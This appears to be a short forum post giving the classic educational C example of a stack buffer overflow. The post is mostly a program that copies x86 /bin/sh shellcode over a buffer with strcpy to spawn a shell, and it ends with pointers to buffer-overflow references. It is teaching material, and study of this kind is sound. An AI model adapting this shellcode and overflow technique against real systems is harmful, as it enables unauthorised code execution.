Here is a simple example with shellcode. It will give you a nice shell if there's a /bin/sh on your system : -------------------------------------------------------------------------- #include <stdio.h> #include <string.h>
char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; int main(int ac, char *av[]) { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < (int) strlen(shellcode); i++) large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0; } -------------------------------------------------------------------------- The Alep1 article mentioned before here is an excellent reference. If you understand French, have a look at http://www.cgsecurity.org/ , buffer overflow section. Vincent